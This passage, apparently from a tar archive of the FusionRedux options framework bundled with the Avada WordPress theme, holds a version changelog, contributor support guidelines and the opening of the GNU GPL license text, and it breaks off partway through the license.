Thanks @farhanwazir. * Fixed: Search extension failed do to dependency issue from the core. * Fixed: #1281 - color field output/compiler outputting incorrect selector when only one array present. * Fixed: Update check only appears once if multiple instances of FusionRedux are loaded in the same wordpress instance. * Fixed: Changing font-family in typography didn't trigger 'save changes' notification. * Fixed: More typography: Back up font appearing in font-family when opening selector. * Fixed: Typography: undefined message when NOT using google fonts. Thanks @farhanwazir * Fixed: Typography font backup not in sync with font-family. * Fixed: Typography not saving font-family after switching back and forth between standard and google fonts. * Fixed: Background field selects not properly aligned. * Fixed: Removed select field dependency from background field. * Fixed: #1264 - Color-picker/transparent checkbox functionality. * Fixed: Typography fine-tuning. * Fixed: All typography select fields render as select3. * Fixed: Switching between transparency on and off now restores the last chosen color in all color fields. * Fixed: FusionRedux uploads dir should NOT be ~/wp-content/uploads, but just wp-content. As per Otto. * Fixed: Navigation no longer has that annoying outline around the links. Yuk. * Fixed: #1218 - Select3 multi select not accepting any keyboard input. * Fixed: #1228 - CSS fixes * Added: `hide_reset` argument, to hide the Reset All and Reset Section buttons. * Added: `content_title` argument to slides field. Thanks @psaikali! * Added: `customizer_only` argument for fields & sections, contributed by @andreilupu. * Added: select3 args for spacing field. * Added: select3 args for the following fields: typography, background, border, dimensions and slider. * Added: #1329 - `'preview' = array('always_display' => true)` argument to typography, to determine if preview field show always be shown. * Modified: Portions of core javascript rewritten into object code. * Modified: All field javascript rewritten using jQuery objects (versus standard function). * Modified: Typography field rewritten to fill out font-family field dynamically, versus on page load. = 3.2.9.13 = * Modified data => taxonomies now has a little more power behind it. * Fixed: #1255 - button_set multi field not saving when all buttons not selected. * Fixed: #1254 - Border field with 0px not outputting properly. * Fixed: #1250 - Typography preview font-size not set in preview. * Fixed: #1247 - Spacing field not outputting properly in `absolute` mode. * Modified: Typography previewing hidden until font inputs are changed. * Fixed: Vendor js not loading properly when dev_mode = true * Fixed: Border field not outputting properly. * Modified: Centralized import/export code in anticipation of new builder features. * Fixed: Removed rogue echo statement. * Modified: select3 loads only when a field requires it. * Modified: More code to load JS on demand for fields require it. * Modified: Field specific JS only loads with active field. * Fixed: Hints stopped working due to classname change. * Fixed: Permissions argument on section array not filtering out raw field. * Fixed: Too many CSS tweaks to list, due to last build. * Fixed: Sortable and Sorter fields now sort without page scroll when page size is under 782px. * Fixed: Hint icon defaults to left position when screen size is under 782px. * Fixed: `permissions` argument for fields and sections erasing saved field data. See #1231 * Modified: Woohoo! Nearly fully responsive. Yanked out all SMOF and NHP field customizations. Lots of little fixes on all browser screens. This will also greatly benefit Metaboxes and other areas of FusionRedux. * Fixed: In dev_mode panel CSS was being loaded 2x. * Fixed: Typography color picker bleeding under other elements. #1225 * Fixed: Hint icon_color index error from builder. #1222 = 3.2.9 = * Added: Network admin support! Set argument 'database' to network and data will be saved site-wide. Also two new arguments: network_admin & network_sites for where to show the panel. * Added: Customizer hook that can be used to simulate the customizer for live preview in the customizer. `fusionredux/customizer/live_preview` * Added: `output` argument for `color` and `color_rgba` fields accepts key/pairs for different modes. * Added: `class` argument to the FusionRedux Arguments, section array, and metabox array. If set, a class will be appended to whichever level is used. This allows further customization for our users. * Added: disable_save_warn flags to the arguments to disable the "you should save" slidedown. * Added: Actions hooks for errors and warnings. * Fixed: FusionRedux now ignores any directories that begin with `.` in the extension folder. See #1213. * Fixed: FusionRedux not saving when validating uploads. * Fixed: Border field output/compiler formatting. Removed 'inherit' in place of default values. See #1208. * Fixed: Trim() warning in framework.php when saving. See #1209, #1201. * Fixed: Typography not outputting all styles when `all_styles` set to true. * Fixed: 'Cannot send header' issues with typography. * Fixed: Small fix for validation if subsection parent is free of errors, remove the red highlight when not expanded. * Fixed: Small CSS classes for flashing fonts where web-font-loader. * Fixed: ASync Flash on fonts. FINALLY. What a pain. * Fixed: 3+ JavaScript errors found in the background field. Now works flawlessly. * Fixed: PHP warnings in background field. #1173. Thanks, @abossola. * Fixed: CSS validation not respecting child selector symbol. #1162 * Fixed: Extra check for typography bug. * Fixed: Error css alignment issue with subsections. * Fixed: javascript error in typography field. * Fixed: Added a title to the google fonts stylesheet to fix validation errors. * Fixed: One more slides field error check, and an extra JS goodie for an extension. * Fixed: Leftover debug code messing up slides field. * Fixed: More reliable saved action hook. * Fixed: Removed erroneous debug output in link_color field. * Modified: Dimension field default now accepts either `units` or `unit`. * Modified: Google CSS moved into HEAD via WP enqueue. * Modified: Now do a trim on all fields before validating. No need to alert because of a space... * Modified: Typography field CSS completely rewritten. All thanks to @eplanetdesign! * Modified: Validation now works in metaboxes as well as updates numbers as changes occur. Validation for subsections is SO hot now. * Modified: Various CSS fixes and improvements. * Modified: Turned of mod_rewrite check. * Modified: How errors are displayed, no longer dependent on the ID, now proper classes. * Modified: Error notice stays until all errors are gone. Also updates it's number as errors fixed! * Modified: Moved google font files to proprietary folder in upload to help with permission issues. = 3.2.8 = * Fixed: Formatting of field files. Normalizing headers. * Added: is_empty / empty / !isset AND not_empty / !empty / isset as required operations * Fixed: Reset defaults error. * Added: `show` argument to turn on and off input boxes in slider. * Fixed: Required now works with muti-check fields and button set when set to multi. = 3.2.7 = * Fixed: Import works again. A single line was missed... * Fixed: link_color field not outputting CSS properly via compiler or output. Thanks @vertigo7x * Fixed: Sorter field CSS. Buttons were all smushed together. * Fixed: 'undefined' error in typography.js. Thanks @ksere. = 3.2.6 = * Fixed: Another stray undefined index. Oy. * Added: `open_expanded` argument to start the panel completely expanded initially. = 3.2.5 = * Fixed: Various bad mistakes. Oy. = 3.2.4 = * Fixed: Slight typography speed improvement. Less HTML hopefully faster page loads. * Fixed: Unload error on first load if the typography defaults are not set. * Fixed: Errors pertaining to mod_rewrite check. * Fixed: All those headers already set errors. * Added: $changed_values variable to save hooks denoting the old values on a save. * Added: Pointers to Extensions on load. * Modified: CSS Output for the background field. * Fixed: Validation error messages not appearing on save. * Modified: Speed boost on validation types. * Added: Apache mod_rewrite check. This should solve many issues we've been seeing regarding mod_rewrite not being enabled. * Fixed: Sortable field not saving properly. * Fixed: Erroneous data in admin.less * Updated: sample-config.php. Sortable checkbox field example now uses true/false instead of text meant for textbox example. = 3.2.3 = * Fixed: Responsive issues with spacing and dimension fields. * Fixed: Style conflicts with WP 3.9. Added register filter to fields via id. * Fixed: Metaboxes issues. * Fixed: Compiler hook in the customizer now passes the CSS. * Fixed: Compiler hook now properly fires in the customizer. * Fixed: Validation error with headers already being set. * Fixed: Added mode for width/height to override dimensions css output. * Fixed: Restoring lost formatting from multiple merges. * Fixed: New sorter default values get set properly now. ;) * Fixed: Removed erroneous 's' character from HTML. * Fixed: Info field didn't intend within section. * Fixed: Compiler hook wasn't running. * Modified: Some admin panel stylings. Now perfect with mobile hover. Also fixed an issue with the slidedown width for sections. No more 2 empty pixels. * Added: `data` and `args` can now be set to sorter! Just make sure to have it be a key based on what you want it to display as. IE: `array('Main'=>'sidebars')` * Added: Prevent FusionRedux from firing on AJAX heartbeat, but added hook for it 'fusionredux/ajax/heartbeat'. * Added: Tick mark if section has sub sections. Hidden when subsections expanded. * Added: Check to make sure a field isn't empty after the filter. If it is empty, skip over it. * Added: Subsections now show icon if they have it. Show text only (without indent) if they do not. * Added: Set a section or field argument of `'panel' => false` to skip over that field or panel and hide it. It will still be registered with defaults saved, but not display. This can be useful for things like the customizer. * Added: SUBSECTIONS! Just add `'subsection' => true` to any section that isn't a divide/callback and isn't the first section in your panel. ;) = 3.2.1 = * Fixed: Small bug in image_select javascript. * Added: Import hook, just because we can. :) * Fixed: Customizer preview now TRULY outputs CSS even if output_tag is set to false; * Fixed: Reset section, etc. Discovered an odd WordPress thing. * Fixed: Image_select size override. * Fixed: Customizer save not firing the compiler hook. * Fixed: Customizer not outputting CSS if output_tag is set to false. * Fixed: Small empty variable check. Undefined index in the defaults generating function. * Fixed: WP 3.9 update made editor field button look ugly. * Fixed: Save hook not firing when save_default set to false. * Fixed: Reset section anomalies. Maybe. * Fixed: Array of values in required not recognized. * Fixed: Updated hint defaults to prevent index warning. * Fixed: Removed leftover debug code. * Added: New readonly argument for text field. * Fixed: Reset/Reset section actions hooks now fire properly. * Fixed: When developer uses section field but does not specify an indent argument. * Fixed: Dynamic URL for slides * Fixed: Accidently removed reset action on section reset. Restored. * Fixed: Section defaults bug for certain field types. * Fixed: Dynamic URL if site URL changed now updates media properly if attachement exists. * Fixed: Customizer now correctly does live preview. * Fixed: Special enqueue case fix. * Added: A few more hooks for defaults and options. * Fixed: Small undefined index error. * Added: Section key generation via title. * Modified: File intending. * Fixed: Custom menus not displaying options panel. * Fixed: Single checkbox option not retaining checked value. * Fixed: Border field returning bad CSS in CSS compiler. * Fixed: Import/Export fix. Thanks, @CGlingener! = 3.2.0 = * Added: Save warning now is sticky to the top and responsive. * Fixed: Mobile fixes for FusionRedux. Looks great on small screens how. * Fixed: Slight CSS fixes. * Fixed: Compiler fixes and added notices. * Added: Import/Export more reasonable text. * Added: `force_output` on the field level to bypass the required check that removes the output if the field is hidden. Thanks @rffaguiar. * Fixed: Fully compatible with WordPress 3.9. Now it just works. ;) * Fixed: Info and divide field now work with required. * Added: Fallback. Now if the media, slides, or background URL doesn't match the site URL, but the attachment ID is present, the data is updated. * Fixed: Last tab not properly set. Slow rendering. * Modified: Replaced transients with cookies. Less DB queries. * Fixed: Undefined variable issues for new required methods. * Fixed: Default_show display error with a non-array being steralized. * Added: Multiple required parent value checking! Booya! * Fixed: Sections now fold with required. * Fixed: select3 not rendering properly when dev_mode = false, because of ace_editor fix. * Fixed: Removed mistakenly compiled test code from fusionredux.js. * Fixed: ace_editor not rendering properly in certain instances. * Modified: Small change to import_export field in checking for existing instance of itself. * Fixed: import_export not rendering when the menutype argument was set to menu * Fixed: Ace_editor not enqueued unless used. MEMORY HOG. * Fixed: Color_Gradient transparency to was being auto-selected if from way transparent. * Fixed: Enqueue select with slider for local dev. * Modified: removed add_submenu_page when creating a submenu for us in the WP admin area. WP approved API is used in it's place to being FusionRedux up to wp.org theme check standards. * Fixed: Massive speed issue with button_set. Resolved. * Fixed: Issue where default values throws an error if ID is not set. * Fixed: Continuing effort to ensure proper loading of config from child themes. * Fixed: Import/Export array search bug if section['fields'] is not defined. * Fixed: Inconsistencies in import/export across different versions of PHP. * Fixed: FusionRedux checks for child or parent theme exclusively before loading. = 3.1.9 = * Fixed: Typography custom preview text/size not outputting. * Fixed: No font selected in typography would default to 'inherit'. * Fixed: Hint feature kicking back a notice if no title was specified. * Fixed: Sortable field, when used a checkboxes, were all checked by default, even when set not to be. * Fixed: button_set field not setting properly in multi mode. * Fixed: Javascript console object not printing options object. * Fixed: Load errors from child themes no longer occur. * Fixed: Compiler output for slider field. * Fixed: update_check produced a fatal error on a local install with no internet connection. * Fixed: Compiler hook failing on slider. * Fixed: Error on update_check when the response code was something other than 200. * Fixed: image_select images not resizing properly in FF and IE. * Fixed: Layout for the typography field, so everything isn't smushed together. The new layout is as follows: * Fixed: link_color field showing notice on default, if user enters no defaults. * Fixed: Fixed tab notice in framework.php if no tab parameter is set in URL. * Fixed: Hide demo hook wasn't hiding demo links. * Added: Admin notice for new builds of FusionRedux on Github as they become available. This feature is available on in dev_mode, and may be turned off by setting the `update_notice` argument to false. See the Arguments page of the wiki for more details. * Added: text-transform option for the typography field. * Added: Newsletter sign-up popup at first load of the FusionRedux options panel. * Added: Added PHP 5.2 support for import/export. * Added: Action hooks for options reset and options reset section. * Added: Theme responsive for date picker. * Added: New slider. Better looking UI, double handles and support for floating point values. See the wiki for more info. * Added: Typography improvements. * Added: Hints! More info: https://github.com/FusionReduxFramework/FusionReduxFramework/wiki/Using-Hints-in-Fields * Added: Complete Wordpress admin color styles. Blessed LESS/SCSS mixins. ;) * Added: Font family not required for the typography module any longer. * Added: Support for using the divide field in folding. * Added: Error trapping in typography.js for those still attempting to use typography with no font-family. * Added: Full asynchronous font loading. * Added: email_not_empty validation field. * Modified: Typography word and letter spacing now accept negative values. * Modified: Typography preview shows spaces between upper and lower case groupings. * Modified: Google font CSS moved to header so pages will pass HTML5 validation. * Modified: Removed Google font CSS line from header (because it's in the footer via wp_enqueue_style. * Modified: RGBA Field stability. Thank you, @SilverKenn. * Modified: Separated Import/Export from the core. It can now be used as a field. [family-font] [backup-font] [style] [script] [align] [transform] [size] [height] [word space] [letter space] [color] * Reverted: email validation field only checks for valid email. not_empty check moved to new validation field. = 3.1.8 = * Fixed: Improper enqueue in tracking class. * Fixed: Few classes missed for various fields. * Fixed: Spacing field kicking back notices and warnings when 'output' wasn't set. * Modified: Added file_exists check to all include lines in framework.php * Fixed: Background field now works with dynamic preview as it should. * Fixed: Extension fields now enqueueing properly. * Added: Text-align to typography field. * Fixed: Servers returning forwards slashes in TEMPLATEPATH, while FusionRedux is installed embedded would not show options menu. * Fixed: On and Off for switch field not displaying language translation. * Fixed: email validation allowing a blank field. * Fixed: Now allow for empty values as valid keys. * Added: Dismiss option to admin notices (internal function) = 3.1.7 = * Fixed: Servers returning forwards slashes in TEMPLATEPATH, while FusionRedux is installed embedded would not show options menu. * Fixed: On and Off for switch field not displaying language translation. * Fixed: email validation allowing a blank field. * Added: Dismiss option to admin notices (internal function) * Fixed: On and Off for switch field not displaying language translation. * Fixed: email validation allowing a blank field. * Added: Dismiss option to admin notices (internal function) = 3.1.6 = * Fixed: CSS spacing issue * Fixed: Customizer now works and doesn't break other customizer fields outside of FusionRedux. * Fixed: Several minor bug fixes * Added: Metabox support via extension http://fusionreduxframework.com/extensions/ * Added: Admin-bar menu * Fixed: Section field now folds. * Fixed: wp_content_dir path now handles double forward slashes. * Fixed: Typography field missing italics in Google fonts. * Fixed: Default color in border field not saving properly. * Fixed: hex2rgba in class.fusionredux_helpers.php changed to static. * Fixed: 'sortable' field type not saving options as default. * Fixed: Specified default color not set when clicking the color box default button. * Fixed: Sorter field options are now saved as default in database. * Fixed: Issues with checkboxes displaying default values instead of labels. * Fixed: Outstanding render issues with spacing field. * Fixed: Plugins using FusionRedux from load failure. * Fixed: 'not_empty' field validation. * Fixed: Media field. * Added: 'read-only' option for media text field. * Added: 'mode' option to image_select, so CSS output element may be specified. * Added: Admin Bar menu for option panel. * Modified: media field 'read-only' to 'readonly' to vonform to HTML standards. * Modified: Removed raw_align field and added align option to raw field. See wiki for more info. * Removed: EDD extension. It never belonged in Core and will be re-released as a downloadable extension shortly * Removed: Group field, temporarily. * Removed: wp_get_current_user check. See https://github.com/FusionReduxFramework/FusionReduxFramework/wiki/How-to-fix-%22Fatal-error%3A-Call-to-undefined-function-wp_get_current_user%28%29-%22 = 3.1.5 = * Typography font arrays may not contain comma spaces. * Merge in pull request - 542, code cleanup and better readability * Change how HTML is output to support metaboxes * CSS only on pages that matter, better checks. * font-backup in typography now appends to font-family in output and compiler. * More fixes for Google font css outputting. * Addded output and compiler to field_image_select. Images will be output as 'background-image'. * Fixed output in field_background. * Prevent standard fonts from outputting to Google fonts CSS call. * class_exists in field_section checking for incorrect classname. * sample_config fix. * Compiler not outputting CSS without output set to comthing other than false. * Google fonts not rendering on frontend. * Rewrote sample_config as a class = 3.1.4 = * Fixed error in fusionredux-framework.php. * Added select_image field. = 3.1.3 = * Fixed a few undefined variables * Removed old code from the repo. * Fix for validation. * Remove the compiler hook by default. * Fix to sortable field. * Added an extra check for link color. Removes user error. * Localization updates. * Error in slides. * Fixed the info box bug with spacing and padding. * Fixed the first item in each section having WAY too much padding. ;) * Fixed section reset issue where values weren't being saved to the db properly. = 3.1.2 = * Feature - Sortable select boxes! * Feature - Reset a section only or the whole panel! * New Field - RGBA Color Field! * Improvement - Use of REM throughout. * Fixed Typography - Fix output option and various small bugs. * Fixed Border - Fix output option and various small bugs. * Fixed Dimensions - Fix output option and various small bugs. * Fixed Image_select - Various small bugs. * Fixed Slides - Various small bugs. * Fixed Sortable - Using native jQuery UI library same as within WordPress. * Fixed Slider and Spinner Input Field - Values now move to the closest valid value in regards to the step, automatically. * Fixed Ace Editor * FEATURE - All CSS/JS files are compiled into a single file now! Speed improvements for the backend. * Fix in how WordPress data is received, improved some output. * Fix for various fields not triggering fold/compiler/save. * Fixed elusive icons to use the new version and classes. * Fixed media thumb to only be the thumbnail version. * Fixed admin https error with WordPress core not renaming URL. * Placeholders throughout the framework are now properly there. * Feature - Setting to not save defaults to database on load. * Fixed - Computability issue with GT3 builder. * Fixed localization issue with default values. * Language - Added Russian * Feature - Media now can have any content type passed in to limit content types. * Allow negative values in typography and other fields. * WordPress 3.8 computability. * CSS validation issue. * Feature - User contributed text direction feature. * EDD Extension now fully function for plugins or themes. * Removed get_theme_data() fallbacks, we're well pass WordPress 3.4 now. ;) * A ton of other small updates and improvements. = 3.1.0 = * Fix Issue 224 - Image Select width was breaking the panel. * Fix Issue 181 - Broken panel in firefox * Fix Issue 225 - 0px typography bug. Thanks @partnuz. * Fix Issue 228 - Resolved a duplicated enqueue on color_link field. Thanks @vertigo7x. * Fix Issue 231 - Field spacing bug fixes. * Fix Issue 232 & 233 - Dimensions: bug fix with units and multiple units. Thanks @kpodemski * Fix Issue 234 - Pass options as a ref so validating actions can modify/sanitize them. Thanks @ZeroBeeOne * Fix Issue 222 - Tab cookie function wasn't working. * Feature - Pass params to Select3. Thanks @andreilupu * Fix Issue 238 - Fix for conditional output. Thanks @partnuz. * Fix Issue 211 - Google Web font wasn't loading at first init of theme. * Fix Issue 210 - Elusive Icons update. Changed classes to force use of full elusive name. * Fix Issue 247 - Media thumbnails were not showing. Also fixed media to keep the largest file, but display the small version in the panel as a thumb. Thanks @kwayyinfotech. * Fix Issue 144 - JS error when no item found in slider. * Fix Issue 246 - Typography output errors. * Feature & Issue 259 - Multi-Text now support validation! * Fix Issue 248/261 - Links color issue. Also fixed color validation. * Feature & Issue 262 - Now registered sidebars can be used as a data type. * Fix Issue 194/276 - Custom taxonomy terms now passing properly. Thanks @kprovance. * Feature & Issue 273 - Argument save_defaults: Disable the auto-save of the default options to the database if not set. * Feature - Docs now being moved to the wiki for community participation. * Issue 283 - Date placeholder. Thanks @kprovance. * Issue 285 - HTTPS errors on admin. Known WordPress bug. Resolved. * Fix Issue 288 - Float values now possible for border, dimensions, and spacing. * Feature - Media field can now accept non-image files with a argument being set. * Fix Issue 252 - Post Type data wasn't working properly. Thanks @Abu-Taymiyyah. * Fix Issue 213 - Radio and Button Set wasn't folding. = 3.0.9 = * Feature - Added possibility to set default icon class for all sections and tabs. * Feature - Make is to the WP dir can be moved elsewhere and FusionRedux still function. * Added Spanish Language. Thanks @vertigo7x. * Fix Issue 5 - Small RGBA validation fix. * Fix Issue 176 - Fold by Image Select. Thanks @andreilupu. * Fix Issue 194 - Custom taxonomy terms in select field. * Fix Issue 195 - Border defaults not working. * Fix Issue 197 - Hidden elements were showing up on a small screen. Thanks @ThinkUpThemes. * Fix issue 200 - Compiler not working with media field. * Fix Issue 201 - Spacing field not using default values. * Fix Issue 202 - Dimensions field not using units. * Fix Issue 208 - Checkbox + Required issue. * Fix Issue 211 - Google Font default not working on page load. * Fix Issue 214 - Validation notice not working for fields. * Fix Issue 181/224 - Firefox 24 image resize errors. * Fix Issue 223 - Slides were losing the url input field for the image link. * Fix - Various issues in the password field. * Fixed various spelling issues and typos in sample-config file. * Initialize vars before extract() - to shut down undefined vars wargnings. * Various other fixes. = 3.0.8 = * Version push to ensure all bugs fixes were deployed to users. Various. = 3.0.7 = * Feature - Completely redone spacing field. Choose to apply to sides or all at once with CSS output! * Feature - Completely redone border field. Choose to apply to sides or all at once with CSS output! * Feature - Added opt-in anonymous tracking, allowing us to further analyze usage. * Feature - Enable weekly updates of the Google Webfonts cache is desired. Also remove the Google Webfont files from shipping with FusionRedux. Will re-download at first panel run to ensure users always have the most recent copy. * Language translation of german updated alone with FusionReduxFramework pot file. * Fix Issue 146 - Spacing field not storing data. * Fix - Firefox field description rendering bug. * Fix - Small issue where themes without tags were getting errors from the sample data. = 3.0.6 = * Hide customizer fields by default while still under development. * Fix Issue 123 - Language translations to actually function properly embedded as well as in the plugin. * Fix Issue 151 - Media field uses thumbnail not full image for preview. Also now storing the thumbnail URL. Uses the smallest available size as the thumb regardless of the name. * Fix Issue 147 - Option to pass params to select3. Contributed by @andreilupu. Thanks! * Added trim function to ace editor value to prevent whitespace before and after value keep being added * htmlspecialchars() value in pre editor for ace. to prevent html tags being hidden in editor and rendered in dom * Feature: Added optional 'add_text' argument for multi_text field so users can define button text. * Added consistent remove button on multi text, and used sanitize function for section id * Feature: Added roles as data for field data * Feature: Adding data layout options for multi checkbox and radio, we now have quarter, third, half, and full column layouts for these fields. * Feature: Eliminate REDUX_DIR and REDUX_URL constants and instead created static FusionReduxFramework::$_url and FusionReduxFramework::$_dir for cleaner code. Feature: Code at bottom of sample-config.php to hide plugin activation text about a demo plugin as well as code to demo how to hide the plugin demo_mode link. * Started work on class definitions of each field and class. Preparing for the panel builder we are planning to make. = 3.0.5 = * Fixed how FusionRedux is initialised so it works in any and all files without hooking into the init function. * Issue #151: Added thumbnails to media and displayed those instead of full image. * Issue #144: Slides had error if last slide was deleted. * Color field was outputting hex in the wrong location. * Added ACE Editor field, allowing for better inline editing. = 3.0.4 = * Fixed an odd saving issue. * Fixed link issues in the framework * Issue #135: jQuery UI wasn't being properly queued * Issue #140: Admin notice glitch. See http://fusionreduxframework.com/2013/10/wordpress-notifications-custom-options-panels/ * Use hooks instead of custom variable for custom admin CSS * Added "raw" field that allows PHP or a hook to embed anything in the panel. * Submenus in Admin now change the tabs without reloading the page. * Small fix for multi-text. * Added IT_it and RO_ro languages. * Updated readme file for languages. = 3.0.3 = * Fixed Issue #129: Spacing field giving an undefined. * Fixed Issue #131: Google Fonts stylesheet appending to body and also to the top of the header. Now properly placed both at the end of the head tag as to overload any theme stylesheets. * Fixed issue #132 (See #134, thanks @andreilupu): Could not have multiple WordPress Editors (wp_editor) as the same ID was shared. Also fixed various styles to match WordPress for this field. * Fixed Issue #133: Issue when custom admin stylesheet was used, a JS error resulted. = 3.0.2 = * Improvements to slides, various field fixes and improvements. Also fixed a few user submitted issues. = 3.0.1 = * Backing out a bit of submitted code that caused the input field to not properly break. = 3.0.0 = * Initial WordPress.org plugin release. = 3.0 = FusionRedux is now hosted on WordPress.org! Update in order to get proper, stable updates. == Attribution == FusionRedux is was originally based off the following frameworks: * [NHP](https://github.com/leemason/NHP-Theme-Options-Framework) * [SMOF](https://github.com/syamilmj/Options-Framework "Slightly Modified Options Framework") It has now a completely different code base. If you like what you see, realize this is a labor of love. Please [donate to the FusionRedux Framework](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=N5AD7TSH8YA5U) if you are able. Avada/includes/lib/inc/redux/framework/wpml-config.xml000064400000000233152342437710017003 0ustar00 Avada/includes/lib/inc/redux/framework/CONTRIBUTING.md000064400000011324152342437710016273 0ustar00Hello, and welcome to FusionRedux Framework! These are our new guidelines for support. Please read them thoroughly before submitting an issue on our issue tracker (or if you were directed her, modify your ticket with the required information). First, and most importantly, we need to know if you are a developer using FusionRedux in their project, or if you are using a theme/plugin that uses FusionRedux. FusionRedux is a tool for developers to include an options panel in their project. Consequently, we do not offer support for folks who have purchased a theme or plugin that uses FusionRedux. The responsibility of support for themes and plugins falls upon it's author. We realize that some authors have included support links for FusionRedux in their projects, when they should not have. We do apologize for that confusion and are taking steps to remedy this confusion. If you have purchased a theme or plugin that utilizes FusionRedux, please contact the author for support. If the author is unavailable for support or has discontinued support, please refer to this article: [Support Defined](https://docs.fusionreduxframework.com/core/support-defined/). If you are a developer, using FusionRedux Framework in your project, PLEASE check to see if you are using the latest version of FusionRedux by checking this repository. If you plan to reporting an issue with any version BUT the latest version, we are going to ask you to upgrade to the latest code base anyway to see if your issue persists. Please save yourself and us some time by taking this simple step first. Thanks! We designed our issue tracker to help identify and correct issues within FusionRedux Framework. If you believe you have discovered an issue, or something is not working as it should, then submitting an issue is appropriate. However, if you are looking for a custom solution involving FusionRedux, or require assistance with original code unrelated to the FusionRedux core itself, then this type of support falls under Premium support. We are not PHP/JavaScript tutors, or a version of Stack Overflow, or have the time and resources to debug your code. For Premium support options, please visit this page: [Premium Support](https://fusionreduxframework.com/extension/premium-support/). Our cost is $100.00 per hour. If you require a more tailored quote, please contact support@fusionreduxframework.com. We handle all support for FusionRedux Framework via our issue tracker. Email support is available only for those who have purchased Premium Support, or in instances where we have requested contact via EMail. For FusionRedux Extensions: All pre-sale and support for premium extensions need to be posted to the [FusionRedux Extensions Issue Tracker] (https://github.com/fusionreduxframework/fusionredux-extensions). Please do not post them to this issue tracker. You MUST be using FusionRedux in dev mode when submitting an issue to us. If you are not, or have circumvented our dev mode protocol, you are on your own. There could be information in your issue that requires dev move active. (Compressed Javascript, for example. We are unable to diagnose issues with compressed Javascript and why dev mode needs to be enabled.) Because it is sometimes difficult to get all the necessary information for a support issue,we have designed the Support URL protocol, in which we are able to gather all the required data via one URL. It will be necessary for you to post one in your issue. Please refer to this article for instructions on generating a support URL: [Generating a Support URL] (https://docs.fusionreduxframework.com/core/generating-a-support-hash/). This is *required*. We will not be able to offer support without one. We appreciate the understanding. If an error or notice appears on your screen, please cut and paste it into your issue. PLEASE, do not say you 'got an error' without telling us what the error or notice is. Sometimes, an issue may be tied to JavaScript. To make this determination, you will need to check the JavaScript console. To do this, ensure your web browser is the topmost window. On your keyboard, press CTRL+SHIFT+I. The JavaScript console will open. If there are notices or errors there, please cut and paste them into your issue. We would prefer a cut and paste, since it will include all pertinent information. Also, FusionRedux dev mode must be enabled so an accurate line number may be reported. It would also be hugely helpful to us if you are able to indicate any steps taken up until the issue occurred. We may need to be able to recreate your issue on our end, and having this information would help with that. Simply stating something 'doesn't work' isn't helpful, and tells us nothing. PLEASE, be as specific as possible. - Team FusionRedux Avada/includes/lib/inc/redux/framework/license.txt000064400000107455152342437710016240 0ustar00FusionRedux Framework - Wordpress Options Framework Copyright 2012 - 2014 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work 